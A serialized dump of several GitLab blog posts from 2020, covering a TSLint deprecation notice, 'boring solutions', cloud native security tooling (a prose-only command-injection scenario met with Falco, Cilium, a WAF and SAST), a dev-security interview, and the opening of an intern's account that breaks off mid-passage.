\"resolved\" and new TypeScript vulnerabilities from ESLint. This behavior is expected due to the new unique vulnerability signatures from ESLint which are different from old TSLint job scan vulnerability signatures.\n\n- [Initial deprecation annouced in 13.2 (7/22)](/releases/2020/07/22/gitlab-13-2-released/#deprecation-and-planned-removal-of-tslint-secure-analyzer)\n\n\n## Looking towards the future\n\nWe are always working to improve the security, efficiency, and quality of our Security scanning tools. These deprecations and removals help us rapidly improve our solution and allow us to deliver on our [Secure product vision](/direction/secure/). We appreciate your understanding of these changes, and if you have questions about these deprecations and removals please [let us know in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/235816).\n",[774,110,674],{"slug":22213,"featured":6,"template":678},"gitlab-com-13-4-breaking-changes","content:en-us:blog:gitlab-com-13-4-breaking-changes.yml","Gitlab Com 13 4 Breaking Changes","en-us/blog/gitlab-com-13-4-breaking-changes.yml","en-us/blog/gitlab-com-13-4-breaking-changes",{"_path":22219,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22220,"content":22226,"config":22231,"_id":22233,"_type":16,"title":22234,"_source":17,"_file":22235,"_stem":22236,"_extension":20},"/en-us/blog/boring-solutions-faster-iteration",{"title":22221,"description":22222,"ogTitle":22221,"ogDescription":22222,"noIndex":6,"ogImage":22223,"ogUrl":22224,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22224,"schema":22225},"Want to iterate faster? Choose boring solutions","We’ve released 106 times in 106 months, proof that boring solutions do work when it comes to software development. Here are some of our favorites.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681499/Blog/Hero%20Images/pencils2.jpg","https://about.gitlab.com/blog/boring-solutions-faster-iteration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Want to iterate faster? Choose boring solutions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-08-18\",\n      }",{"title":22221,"description":22222,"authors":22227,"heroImage":22223,"date":22228,"body":22229,"category":8943,"tags":22230},[11618],"2020-08-18","\n\n*bor-ing* | *bȯr-iŋ*\n\n_Definition of boring: causing weariness and restlessness through lack of interest : causing boredom : tiresome_ –– Merriam-Webster\n\nAt GitLab we’re boring and we’re proud of it. \"Use the simplest and most boring solutions for a problem, and remember that 'boring' should not be conflated with 'bad' or technical debt,\" our [handbook](/handbook/) says. \"The speed of innovation for our organization and product is constrained by the total complexity we have added so far, so every little reduction in complexity helps. Don’t pick an interesting technology just to make your work more fun; using established, popular tech will ensure a more stable and more familiar experience for you and other contributors.\"\n\nAlthough this may seem like counterintuitive behavior at a fast moving software startup, boring solutions are actually grounded in both science and history. [Boyd’s Law of Iteration](https://blog.codinghorror.com/boyds-law-of-iteration/) proves that faster iteration is superior to the quality of iteration. We feel like our history of releasing 106 times in 106 months also proves this point. We’ve managed [to iterate so quickly month after month](/blog/observations-on-how-to-iterate-faster/) *because* we’ve chosen the boring solution.\n\nIf this isn’t enough to convince your team to choose the boring solution more often, we’ve rounded up a slew of boring choices we’ve made to help you make the case (and maybe speed up your software delivery).\n\n## Issue labels\n\nAn early boring solution was the choice to use issue labels to power lists on issue boards. Instead of creating a new system, the boring solution was to use what we had to make a small iteration and get entirely new functionality. (Candidly - this design decision has become a huge pain point, but it’s still a great example of a boring solution) –– [William Chia](/company/team/#williamchia), senior product marketing manager, cloud native & [GitOps](/solutions/gitops/)\n\n## Skip the new UI\nWe created documentation around using [curl](https://curl.haxx.se) against API endpoints instead of creating a new user interface. –– [Nicholas Klick](/company/team/#nicholasklick), backend engineering manager, Configure\n\nWe chose to use a JSON Web Token to authenticate with Vault vs. building out a new UI or CLI. –– [Jackie Meshell](/company/team/#jmeshell), senior product manager, Release:Release Management\n\n## Embrace a small change\nWe recently added awareness [if a security scanner isn’t enabled](https://gitlab.com/gitlab-org/gitlab/-/issues/214392) from the project-level security dashboard. Previously there was no way to know this without going to the Configuration page. While it’s a small change, we’ve received good feedback so far, and hopefully encourages customers to take more advantage of our Gold/ Ultimate offering (and keep their applications safer!) –– [Becka Lippert](/company/team/#beckalippert), product designer, Secure\n\n## Boring = less confusing\nWe spent some time and research deciding among multi-select dropdowns, single-select dropdowns, and plain dropdowns. It was a simple but effective process and prompted team member [Austin Regnery](/company/team/#aregnery), product designer, Manage:Compliance, to comment, “Before joining GitLab I remember reading [this issue](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/issues/443) and being really impressed by both the boring solution and data-driven decision making.\n\n## Boring can also make work easier\nWe made it easier to read the title of an issue without having to scroll back to the top of the page. We initially proposed only the title would stick, but then we did a quick solution validation and found out the MVC was to include the issue status. We paired the first iteration back from a solution that would include other objects (like MRs, epics, etc.) and chose to scope it down just to issues. We also pushed back on making other elements sticky (like the tab nav) [in the first iteration](https://gitlab.com/gitlab-org/gitlab/-/issues/216880). –– [Mike Long](/company/team/#mikelong), product design manager, Plan & Manage\n\n## If boring doesn’t work, abandon it\nIn GitLab’s early days, we used [Gitolite](https://gitolite.com/gitolite/index.html) and the SSH key list. They were boring solutions. They were not elegant but allowed us to focus on adding value. When it no longer worked, we [changed it](/blog/gitlab-without-gitolite/). –– [Sid Sijbrandij](/company/team/#sytses), CEO\n\n## Who needs fancy?\n\nAnd if there’s any doubt that we won’t reach for something shiny when something simple will do, we’ll leave you with these two anecdotes.\n\nWe use SQL for the CI job queue. –– [Stan Hu](/company/team/#stanhu), engineering fellow\n\nAnd, when we made the decision to move from Azure to GCP, we used the most boring solution ever – a checklist (no, really, a checklist) to help us make the process seamless. We made 140 changes to that checklist, all told, but after that careful process, [we were able to migrate from Azure to GCP with no serious issues](/blog/gitlab-journey-from-azure-to-gcp/).\n\n*Read more about faster software delivery:*\n\nPro tips for a faster [CI/CD pipeline](/blog/effective-ci-cd-pipelines/)\n\nKeep your [Kubernetes runners moving](/blog/best-practices-for-kubernetes-runners/)\n\nGet [faster and more flexible pipelines](/blog/directed-acyclic-graph/)\n\nCover image by [Frank Vessia](https://unsplash.com/@frankvex?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}\n",[676,774,754],{"slug":22232,"featured":6,"template":678},"boring-solutions-faster-iteration","content:en-us:blog:boring-solutions-faster-iteration.yml","Boring Solutions Faster Iteration","en-us/blog/boring-solutions-faster-iteration.yml","en-us/blog/boring-solutions-faster-iteration",{"_path":22238,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22239,"content":22244,"config":22249,"_id":22251,"_type":16,"title":22252,"_source":17,"_file":22253,"_stem":22254,"_extension":20},"/en-us/blog/how-gitlab-can-help-you-secure-your-cloud-native-applications",{"title":22240,"description":22241,"ogTitle":22240,"ogDescription":22241,"noIndex":6,"ogImage":18477,"ogUrl":22242,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22242,"schema":22243},"How GitLab improves cloud native application security and protection","In this article, we will show you how GitLab can help you streamline your cloud native application security from a code and operations point of view by providing you with real-world examples.","https://about.gitlab.com/blog/how-gitlab-can-help-you-secure-your-cloud-native-applications","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab improves cloud native application security and protection\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nico Meisenzahl\"}],\n        \"datePublished\": \"2020-08-18\",\n      }",{"title":22240,"description":22241,"authors":22245,"heroImage":18477,"date":22228,"body":22247,"category":962,"tags":22248},[22246],"Nico Meisenzahl","\n{::options parse_block_html=\"true\" /}\n\nIn the [cloud-native](/topics/cloud-native/) ecosystem, decisions and changes are made on a rapid basis. Applications get adapted and deployed multiple times a week or even day. Microservices get developed decentralized with different peoples and teams involved. In such an environment, it is crucial to ensure that applications are developed and operated safely. This can be done by shifting security left into the developer lifecycle but also by using DevSecOps to empower operations with enhanced monitoring and protection for the application runtime.\n\nIn this article, I would like to show you how GitLab can help you streamline your application security from a code and operations point of view by providing you with real-world examples. Before we deep dive into the example, let me first introduce you to the [GitLab Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/) and [GitLab Protect](https://about.gitlab.com/stages-devops-lifecycle/govern/) product portfolio which are the foundation for this. GitLab Secure helps developers to enable accurate, automated, and continuous assessment of their applications by proactively identifying vulnerabilities and weaknesses and therefore minimizing security risk. GitLab Protect, on the other hand, supports operations by proactively protecting environments and cloud-native applications by providing context-aware technologies to reduce overall security risk. Both are backed by leading open-source projects that have been fully integrated into developer and operation processes and the GitLab user interface (UI).\n\n## Cloud Native Application Security: The attack\n\nLet’s assume we have an application hosting a web interface that allows a user to provide some input. The application is written in [Golang](https://golang.org/) and executes the input as part of an external operating system command ([os/exec](https://golang.org/pkg/os/exec/)). The application does not contain any validation or security features to validate the input, which allows us to inject additional commands that are also executed in the application environment.\n\nThe application is running as containerized microservices in a Kubernetes cluster. The Kubernetes Cluster is shared across multiple teams and projects, allowing us to inject and read data in another application running next to ours. In our example, we will connect an unsecured Redis instance in a different Namespace and read/write data.\n\nNow let us take a closer look at how GitLab can help us detect the attack, permit its execution, and finally help us find and fix the root cause in our code.\n\n## Container Host Security\n\n[Container Host Security](/stages-devops-lifecycle/govern/) helps us to detect an attack in real-time by monitoring the pod for any unusual activity. It can then alert operations with detailed information on the attack itself.\n\nContainer Host Security is powered by [Falco](https://falco.org/), an open-source runtime security tool that listens to the Linux kernel using eBPF. Falco parses system calls and asserts the stream against a configurable rules engine in real-time. The Falco deployment used by Container Host Security can be deployed and fully managed using [GitLab Managed Apps](https://docs.gitlab.com/ee/update/removals.html).\n\nIn our example, Falco detects the injected redis-cli command, which is used to read/write data into the unsecured Redis instance. \n\n![Container Host Security](https://about.gitlab.com/images/blogimages/2020-08-18-How-GitLab-Can-Help-You-Secure-Your-Cloud-Native-Applications/falco.png)\n\nFalco can now alert operations who can use those valuable insights to define and execute further steps. \n\n## Container Network Security\n\nA first step to permit access to the unsecured Redis instance would be to permit traffic between the application in our Kubernetes cluster. This can be done by using [Container Network Security](/stages-devops-lifecycle/govern/). Container Network Security is again fully managed by [GitLab Managed Apps](https://docs.gitlab.com/ee/update/removals.html) and can also be configured within the GitLab project user interface.\n\nContainer Network Security is powered by [Cilium](https://cilium.io/), an open-source networking plugin for Kubernetes that can be used to implement support for NetworkPolicy resources. [Network Policies](https://kubernetes.io/docs/concepts/services-networking/network-policies/) can be used to detect and block unauthorized network traffic between pods and to/from the Internet.\n\nImplementing Network Policies for our application will block the underlying network traffic generated by the attack. The policies can be enabled within the GitLab project UI:\n\n![Network Policies](https://about.gitlab.com/images/blogimages/2020-08-18-How-GitLab-Can-Help-You-Secure-Your-Cloud-Native-Applications/network-polices.png)\n\n## Web Application Firewall\n\nWith Container Network Security in place, our attack isn’t able to talk to the Redis instance anymore, but it is still possible to execute other network unrelated attacks using the command injection. [Web Application Firewall (WAF)](/stages-devops-lifecycle/govern/) can now help us to increase the security and detect and block the attack at the [Kubernetes Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/) level. \n\nThe Web Application firewall is also powered by open-source. It is based on the [ModSecurity](https://kubernetes.github.io/ingress-nginx/user-guide/third-party-addons/modsecurity/) module, a toolkit for real-time web application monitoring, logging, and access control. It is preconfigured to use the [OWASP’s Core Rule Set](https://www.modsecurity.org/CRS/Documentation/), which provides generic attack detection capabilities. Like the other integrations, Web Application Firewall is also fully managed by GitLab using [GitLab Managed Apps](https://docs.gitlab.com/ee/update/removals.html).\n\nIn our example, the Web Application Firewall detects the attack and is also able to block it:\n\n![Web Application Firewall logs](https://about.gitlab.com/images/blogimages/2020-08-18-How-GitLab-Can-Help-You-Secure-Your-Cloud-Native-Applications/waf-log.png)\n\nBlocking the attack at the Ingress level will help us to deny the traffic before it hits our application. To do so, we can enable the Web Application Firewall blocking mode directly from the GitLab UI:\n\n![WAF settings](https://about.gitlab.com/images/blogimages/2020-08-18-How-GitLab-Can-Help-You-Secure-Your-Cloud-Native-Applications/waf-settings.png)\n\nIn addition to Container Host Security, we could have used the Web Application Firewall to detect the attack using the Thread Monitoring dashboard within our GitLab project:\n\n![Thread Monitoring](https://about.gitlab.com/images/blogimages/2020-08-18-How-GitLab-Can-Help-You-Secure-Your-Cloud-Native-Applications/thread-monitoring.png)\n\nThe Thread Monitoring dashboard also provides us with useful insights and metrics of our enforced Container Network Policy.\n\n## Static Application Security Testing\n\nWe have now successfully protected our application runtime and ensured that no additional attacks can be executed. But we should also find and fix the root cause to ensure that such incidents are not recurring in the future. This is where [Static Application Security Testing (SAST)](/stages-devops-lifecycle/secure/) can help us. Static Application Security Testing can be easily integrated into our project using [GitLab CI/CD](https://docs.gitlab.com/ee/ci/) and then allows us to analyze our [source code](/solutions/source-code-management/) for known vulnerabilities.\n\nIn our case (a Golang application) the code scanning is executed using the open-source project [Golang Security Checker](https://github.com/securego/gosec). The results are displayed in the Security dashboard of our GitLab project for easy access:\n\n![Security Dashboard](https://about.gitlab.com/images/blogimages/2020-08-18-How-GitLab-Can-Help-You-Secure-Your-Cloud-Native-Applications/sec-dashboard.png)\n\nIn our example, the code scan has identified the root cause and provides us with detailed information about the vulnerability, the line of code that needs to be fixed, and the ability to easily create an issue to fix it.\n\n![SAST](https://about.gitlab.com/images/blogimages/2020-08-18-How-GitLab-Can-Help-You-Secure-Your-Cloud-Native-Applications/sast.png)\n\nFinally, of course, we should also talk to the team running the other application to make sure that their Redis instance gets secured too. We should also verify how the other [GitLab Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/) features can help to further improve the overall security of the application.\n\n## GitLab Protect and Secure in action\n\nIf you like to get more insights on GitLab Secure and Protect and want to see it in action, you are welcome to join [Wayne](https://gitlab.com/whaber), [Philippe](https://gitlab.com/plafoucriere) and myself in our session [“Your Attackers Won't Be Happy! How GitLab Can Help You Secure Your Cloud-Native Applications!”](https://gitlabcommitvirtual2020.sched.com/event/dUWw/your-attackers-wont-be-happy-how-gitlab-can-help-you-secure-your-cloud-native-applications) at GitLab Commit where you can gain further insights on Container Host Security, Container Network Security, Web Application Firewall (WAF), and Status Application Security Testing (SAST).\n\nRegister today and join me and others at [GitLab Commit](https://about.gitlab.com/events/commit/) on August 26. GitLab Commit 2020 is a free 24-hour virtual experience filled with practical DevOps strategies shared by leaders in development, operations, and security.\n",[3949,4103,2509,815,674],{"slug":22250,"featured":6,"template":678},"how-gitlab-can-help-you-secure-your-cloud-native-applications","content:en-us:blog:how-gitlab-can-help-you-secure-your-cloud-native-applications.yml","How Gitlab Can Help You Secure Your Cloud Native Applications","en-us/blog/how-gitlab-can-help-you-secure-your-cloud-native-applications.yml","en-us/blog/how-gitlab-can-help-you-secure-your-cloud-native-applications",{"_path":22256,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22257,"content":22263,"config":22268,"_id":22270,"_type":16,"title":22271,"_source":17,"_file":22272,"_stem":22273,"_extension":20},"/en-us/blog/developer-security-divide",{"title":22258,"description":22259,"ogTitle":22258,"ogDescription":22259,"noIndex":6,"ogImage":22260,"ogUrl":22261,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22261,"schema":22262},"The developer-security divide: frank talk from both sides","Data from our 2020 DevSecOps Survey shows dev and sec remain at odds over test, bug finding, fixes, and more. Can we be friends? Maybe.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681492/Blog/Hero%20Images/puzzle.jpg","https://about.gitlab.com/blog/developer-security-divide","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The developer-security divide: frank talk from both sides\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2020-08-13\",\n      }",{"title":22258,"description":22259,"authors":22264,"heroImage":22260,"date":22265,"body":22266,"category":8943,"tags":22267},[11790],"2020-08-13","\n\n_We have to start by saying that at GitLab, there really is no developer-security divide. Dev and sec *do* get along – extraordinarily well, as a matter of fact. But there’s no denying that friction between developers and security pros does exist and we wanted to take this opportunity to acknowledge the elephant in the room._\n\n_In our [2020 Global DevSecOps Survey](/developer-survey/previous/2020/), 65% of security pros said their organizations had successfully shifted security left. Thanks to DevOps, developers, security experts, operations professionals, and testers all reported being increasingly part of cross-functional teams dedicated to getting safe code out the door more quickly._\n\n_But look a bit more closely into that rosy picture and the cracks start to appear. Security team members said developers didn’t find enough bugs early in the process and were slow to fix them when they were found. Not enough security testing happens and if the tests are run, they occur too late in the process. Very few devs said they run standard security tests like SAST or DAST. And there is even confusion over exactly who is responsible for security: 32% of sec pros told us they were solely responsible but more than 29% told us *everyone* was responsible._\n\n_To see if we could shed some clarity on these critical-to-get-right DevOps topics [Brendan O’Leary](/company/team/#brendan), senior developer evangelist, and [Ethan Strike](/company/team/#estrike), security manager, [Application Security](/topics/devsecops/), had a virtual sit down to hash out the differences between devs and sec._\n\n![Headshots of Brendan O’Leary and Ethan Strike](https://about.gitlab.com/images/blogimages/brendanethan.png){: .shadow.small.center}\nBrendan O’Leary and Ethan Strike\n{: .note.text-center}\n\n## Who is primarily responsible for security?\n\n*Ethan*: Overall, for secure development to be successful there has to be a culture of security shared between all of the stakeholders, including development, product, and security. That means that both development and security need to feel trusted and supported throughout the organization, not just in their particular vertical. Here at GitLab, our E-group has done an excellent job of building that culture, which has allowed us to tackle problems collaboratively across teams.\n\nSpecific to the question, in order to be successful, I believe the team writing the code is ultimately responsible for security. They are the owners of the code they write, and know it best, so they are in the best position to ensure its security. But that does not mean that the security team is off the hook for product vulnerabilities. They have the important responsibility of ensuring the development team has tools and knowledge available to them to write secure code. They might even contribute to the code base themselves.\n\n> For secure development to be successful there has to be a culture of security shared between all of the stakeholders. – Ethan Strike\n\nThe security team also has the important role of assessing risk and communicating that risk effectively for the development teams to act upon. It is unrealistic for both sides to expect the other to shoulder the entire security work load, and there must be a balance between security requirements and functionality based upon business requirements.\n\n*Brendan*: There are two ways to look at this. If we said who is _directly_ responsible for security, then sure it’s easy to say that the folks with \"security\" in their title are the answer to that.\n\nBut the reality, especially in a modern organization centered around software delivery and excellence, is that everyone has to be responsible for security and have it at the forefront of their minds.\n\nThe thing customers want is better software faster, but one security incident can make that irrelevant. Security thus is a *key* component of quality software, and has to be a team effort. Just as there are different folks on a car assembly line that are _primarily_ responsible for different parts of the car, the only way for a high-quality vehicle to roll off the end of the line is for everyone to work together, back each other up, and help to check each other's specialized work.\n\n## Devs aren’t running enough SAST/DAST/container or compliance scans. Why?\n\n*Brendan*: The bar is far too high to even get started running [SAST](https://www.gartner.com/en/information-technology/glossary/static-application-security-testing-sast) or [DAST](https://www.gartner.com/en/information-technology/glossary/dynamic-application-security-testing-dast) scans. Let’s take a look at them separately as they are worlds apart.\n\n> So running the code in production is hard enough, why would I spend time to try and run it _before_ production? – Brendan O’Leary\n\nFor SAST (or container or compliance) scans: To run that as a developer in a \"traditional\" organization, I would need help from the ops team to have the right tooling installed. To determine what the \"right\" tooling is, I’d probably need a security review of existing tools as they are varied and their efficacy can depend on what languages and frameworks we are specifically using to write our application. And all of that work is before the first SAST check even runs - and after they are running it’s even worse. As a developer, I don’t have a great way to understand at the end of a release cycle what changes caused which security issues, so the \"noise\" of security tests (if we have them) is too loud to find the signal inside. It’s easier to just not deal with that whole cycle.\n\nFor DAST the bar is *much* higher than even SAST. While I have all the same issues that we mentioned about SAST in terms of coronation and signal-to-noise ratios, now add that complexity to the fact that I will need an entire running \"prod-like\" environment to even think about running DAST. That means recreating a proxy for the network and architecture decisions that are made by the ops team about the production environment. And if you get the wrong thing wrong, it makes all of the DAST test invalid. So running the code in production is hard enough, why would I spend time to try and run it _before_ production?\n\n*Ethan*: In my experience this is because out of the box the tools can create a lot of noise. Common causes of noise are false positives, or a high number of low-impact findings. When you’re trying to get a feature out the door, this can understandably be frustrating. A lot of the noise comes from the generic nature of the tools, as they are meant to be applicable to every code base. Each code base is of course different.\n\nHere again though, some cooperation can go a long way. The efficacy of the tools comes with some tuning, and the goal is to get to that happy medium. For example, at GitLab, the results of the SAST tools are presented in an MR and developers are first in line for validating the findings, as they know the code the best. The application security team also looks at the results in the dashboard, and is looking to assess larger trends, identifying areas that are being overlooked/dismissed incorrectly, or simply providing additional context on the findings. That information can then be shared with the development teams. Each side has to trust that the other is working to find the right balance.\n\n## Why aren’t devs finding enough bugs?\n\n*Ethan*: This is difficult to answer, as it is driven by the circumstances. It could be a matter of security education, a feeling of lack of ownership, or just culture overall. I think that most developers, if given ownership of the code they write, would be incentivized to find as many bugs as possible. In the end, that means less time fixing things in the backlog and more time building features. In order to do that though, they need to be given resources in the form of knowledge and time to test effectively, and the security team can help them with that.\n\n*Brendan*: This is a direct result of the above. In fact, given how few developers are running SAST and DAST, it may honestly be generous to say they discover 25% of bugs. Without that infrastructure, there’s no way for me as a developer to find those issues.\n\nAnd worse than that they can all be \"out of sight, out of mind.\" If security has a walled garden around information about what security scans are important to our organization, or how to run those scans, then I’m just as happy as a developer to live in an \"ignorance is bliss\" world. That is of course until there’s a major security breach caused by poor coding practices.\n\n## How can bugs be found earlier in the process?\n\n*Brendan*: Again, the bar is too high to run the security scans. As a developer, I don’t have an easy way to do that or understand security’s requirements for those tests. Without that ability, I’m at a loss to find any bugs.\n\nAnd without any \"security\" in the pipeline, it leaves all detection of security issues to the end of a cycle when we want to actually put the code into production. And by that time, there have been dozens or hundreds of changes, so unwinding what changes caused which issues is next to impossible - much less understanding how to quickly fix them. So it’s back to the drawing board from an engineering perspective to fix issues we should have known about when we started walking down that path... of course this causes delays.\n\n> If security has a walled garden around information about what security scans are important to our organization, or how to run those scans, then I’m just as happy as a developer to live in an \"ignorance is bliss\" world. – Brendan\n\n*Ethan*: That is because testing in general comes late in the development process. I don’t think this is always security specific. This stems historically from the waterfall software development process. With agile, quality testing has become more prominent with unit testing and CI, but security is still working its way into that workflow. For example, at GitLab, we have security focused unit tests and automated SAST and dependency scanners, but we still have manual security testing, and a bug bounty program in operation after major development is complete. I think that all security teams are always looking to find ways to identify a risk when the code is written. This can be in the form of threat modeling, embedded security engineers looking at code, and the development of security-focused libraries.\n\n## Is it true that devs apparently don’t want to fix bugs?\n\n*Ethan*: I do not think that is true. I think that there can be difficulty scheduling fixes in with feature requirements. Also, if I remember correctly, [in the survey](/developer-survey/previous/2020/), some developers said that they do not always know how to fix a bug. I think that the fixing of security bugs needs to be a cultural practice within the company. All teams involved in development, including product, developers and the security team have to be committed to fixing security bugs within established time frames. That also has to be balanced with features and non-security bugs. That is where an agreed upon [SLA](https://www.cio.com/article/2438284/outsourcing-sla-definitions-and-solutions.html) for fixing security vulnerabilities is helpful.\n\n*Brendan*: I love to fix bugs - when they are easy to identify and debug and small enough to make the \"blast radius\" of a fix not too large. The best time to do that is when I’m in \"flow\" - right when I’m writing the code and have a mental model of all of the things and how they are interconnected. So that’s basically the same day or same week as when I wrote it.\n\n> With agile, quality testing has become more prominent with unit testing and CI, but security is still working its way into that workflow. – Ethan\n\nAfter that, if I find out about a bug weeks later or that is only reproducible in production, then it is extremely frustrating if not impossible to fix. Without an environment that looks like prod, or a clear understanding of *why* security sees something as a bug that I see as a nuance, it makes it much harder to fix.\n\nIf I was given the feedback I get at the end of a release cycle on the day I write the code, bugs would get fixed immediately.\n\n## Are security pros seen as too \"top down\" and \"out of touch\" with programming?\n\n*Brendan*: Oftentimes security and developers seem at odds. In many traditional organizations, this is both cultural AND related to misaligned incentives. If we only incentivize developers by the speed at which they are able to release new features while also incentivizing security professionals by number of incidents then the two are constantly at odds.\n\nThis is the same dichotomy of relationship that existed (and still does in some places) between developers and operators. If the only goal is fast feature shipping, you move fast and break things. If the only goal is a stable operating environment, then you’ll make sure no one is able to easily change or add anything.\n\nThat’s why the term \"DevOps\" was invented - to try and align incentives. Many organizations still struggle with that, but the [DORA research](https://www.devops-research.com/research.html) has shown us that the two can actually _complement_ each other if we focus on the metrics that really matter (frequency of deploys, time to fix an incident if one starts, etc.). What are those same metrics that will bring security and development together? They are probably very similar, but until organizations accept that and focus on cultural change to make sure that the teams incentives are truly aligned, it will continue to be a struggle.\n\n*Ethan*: This has not been my experience at GitLab. It really depends on how the security team was built. At GitLab, we like to believe that we’ve built a balanced team that covers the range of security skills, from lots of development experience and deep knowledge of secure coding techniques, to more dynamic security testing-oriented engineers who are working on building up their development skill set. Each of them are important to building a security program that enables and supports developers in building secure products.\n\n## Finally, will dev and sec *ever* get on the same page?\n\n*Ethan*: We need a realignment of expectations and support at all levels for developing a secure product. On the security side, the team has to realize that there will always be vulnerabilities that get to production. There is no way to catch them all. This is not only because of the fast nature of software development, but also because new attack vectors are discovered, and some things, like newly identified vulnerabilities in dependencies, are only identified after deployment. With that in mind, they should work towards providing developers the tools and data needed to identify them as early as possible, especially those vulnerabilities that are seen repeatedly. Also, there should be a well-known policy for handling vulnerabilities that are identified. That way, everyone knows what to do, and expectations are clearly defined.\n\n> If we only incentivize developers by the speed at which they are able to release new features while also incentivizing security professionals by number of incidents then the two are constantly at odds. – Brendan\n\nFrom the engineering side, it’s important to accept security as part of your development flow. It’s not glamorous, but the reason security is important is that it builds trust with customers and other stakeholders in your product. It also protects the company. Help the security team. This can be done by identifying areas of concern, asking questions, and helping security team members understand the code being written. For both teams, it’s important to have constructive communication and collaboration. There should be regular communication about what each team considers important and how that can be attained. Above all, there must be trust that the other team is doing what is best for the product.\n\n*Brendan*: Much like the last 10 years has seen businesses make themselves successful (or fail) based on their ability to deploy changes quickly and create a stable service, the next 10 years will see a similar transformation around security. The import of things like security, privacy, and data protection will require it of businesses, and those who are not able to adapt their culture will fade away. Those who have a radically different view of the world will thrive.\n\nIn the end, this is how dev and sec will \"have\" to get along.\n\n_Our [2022 Global DevSecOps Survey](/developer-survey/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\n*Read more about development and security*:\n\n- How [secure](/blog/soc2-compliance/) is GitLab?\n\n- How we think about [security and open source software](/blog/open-source-security/)\n\n- GitLab's guide to [safe deployment practices](/blog/safe-deploys/)\n\nCover image by [Marcus Winkler](https://unsplash.com/@markuswinkler) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[8570,674,2368],{"slug":22269,"featured":6,"template":678},"developer-security-divide","content:en-us:blog:developer-security-divide.yml","Developer Security Divide","en-us/blog/developer-security-divide.yml","en-us/blog/developer-security-divide",{"_path":22275,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22276,"content":22282,"config":22286,"_id":22288,"_type":16,"title":22289,"_source":17,"_file":22290,"_stem":22291,"_extension":20},"/en-us/blog/what-its-like-to-intern-in-gitlab-security",{"title":22277,"description":22278,"ogTitle":22277,"ogDescription":22278,"noIndex":6,"ogImage":22279,"ogUrl":22280,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22280,"schema":22281},"What it's like to intern on the GitLab Security team","I spent 16 weeks interning across the GitLab security department and here’s what I learned","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672427/Blog/Hero%20Images/cgower_desk.jpg","https://about.gitlab.com/blog/what-its-like-to-intern-in-gitlab-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What it's like to intern on the GitLab Security team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Juliet Wanjohi\"}],\n        \"datePublished\": \"2020-08-13\",\n      }",{"title":22277,"description":22278,"authors":22283,"heroImage":22279,"date":22265,"body":22284,"category":18484,"tags":22285},[16388],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nBetween May and August 2020, I had the wonderful opportunity of being part of the [Engineering Internship Pilot Program](/handbook/engineering/internships/). Specifically, I was an intern in the [Security department](/handbook/security/) at GitLab. This was my first [all-remote](/company/culture/all-remote/guide/) role, and I must say it was an extremely worthwhile experience. 😄\n\nGetting to work remotely at GitLab offered a lot of flexibility as I could choose my own working hours where I was most productive, and at the same time learn how to become a [manager of one](https://handbook.gitlab.com/handbook/values/#managers-of-one) in my day-to-day tasks. Additionally, due to the team being fully-distributed, I was able to meet and collaborate with a diverse group of individuals from all over the world. The team was very helpful each step of the way, and I could always reach out to my manager and mentors if I required any assistance. What surprised me the most was that I was able to have chats with senior leadership in GitLab, which I think is great since one may not have such opportunities in a normal office setup.\n\nThe internship enabled me to grow exponentially in different aspects: technical skills, accountability, and within the [GitLab values](https://handbook.gitlab.com/handbook/values/) of collaboration, efficiency and transparency to name but a few areas. \n\n## Cross-functional exposure and understanding\nA goal for my internship experience was to gain exposure to different security teams and develop an understanding of the key functions performed to ensure and enhance the overall security posture of GitLab. \n \nGitLab’s [Security department](/handbook/security/) is organized around three key tenets that drive the structure and activities of the group, including: secure the product, protect the company and assure the customer. I had the opportunity to work across each of these teams and want to share some key learnings from each rotation.\n\n### Securing the product\nThis team works closely with engineering and product teams to ensure that all GitLab products securely handle the customer data with which we are entrusted. I was able to work with the teams in the [Application Security](/handbook/security/security-engineering/application-security/), [Security Research](/handbook/security/#security-research) and [Security Automation](/handbook/security/security-engineering/automation/) functions to gain a deeper appreciation of how they ensure all aspects of GitLab exposed to customers or that host customer data are held to the highest security standards.\n\nWorking with security engineers on our [Application Security](/handbook/security/security-engineering/application-security/) team, I had the chance to contribute directly to GitLab the product! 🎉  This involved [improving the current path traversal checks](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33114) on user controlled file names and file paths. It was a collaborative effort between myself and other engineers through multiple code reviews and iterations that also helped me to sharpen my skills in coding with Ruby and produce well-written tests. Furthermore, I was able to triage a couple of reports in [GitLab’s bug bounty program](https://hackerone.com/gitlab). This enabled me to learn more about vulnerability identification and how the team handles bug reports from the first stage, where a bug is reported, to the last stage, where a security release is created to fix the bug. By reviewing past issues that the Application Security team had handled, I was able to develop a better understanding of the [security fix process](/handbook/security/#vulnerability-reports-and-hackerone). With respect to ‘shift left’, this enabled me to see how the team collaborates with other engineering and product teams to 